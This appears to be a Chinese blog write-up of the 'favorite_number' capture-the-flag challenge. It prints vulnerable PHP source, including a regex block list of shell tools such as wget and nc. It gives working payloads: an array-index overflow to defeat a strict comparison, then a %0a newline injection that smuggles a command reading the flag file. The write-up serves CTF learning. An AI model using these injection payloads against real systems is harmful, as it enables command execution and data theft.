攻防世界favorite_number

博客 动态
0 298
羽尘
羽尘 2022-04-07 22:57:40
悬赏:0 积分 收藏

攻防世界 favorite_number

favorite_number

进入环境得到源码

<?php//php5.5.9$stuff = $_POST["stuff"];$array = ['admin', 'user'];if($stuff === $array && $stuff[0] != 'admin') {    $num= $_POST["num"];    if (preg_match("/^\d+$/im",$num)){        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){            echo "my favorite num is:";            system("echo ".$num);        }else{            echo 'Bonjour!';        }    }} else {    highlight_file(__FILE__);}

题目特意标注出了php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个

审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload

stuff[4294967296]=admin&stuff[1]=user&num=111

 

 

成功绕过接下来我们就要想办法绕过正则表达式了

传入了一个num,并且过滤掉了很多东西,并且经过了两次正则匹配过滤东西,这里我们可以使用%0a绕过匹配,以达到执行指令的效果

 

 成功发现flag,但是这里把flag过滤掉了我们这么绕过

stuff[4294967296]=admin&stuff[1]=user&num=111%0ab=ag;a=fl;tac /$a$b

 

 获得flag

posted @ 2022-04-07 22:15 听梦外雪花飞 阅读(0) 评论(0) 编辑 收藏 举报
回帖
    羽尘

    羽尘 (王者 段位)

    2335 积分 (2)粉丝 (11)源码

     

    温馨提示

    亦奇源码

    最新会员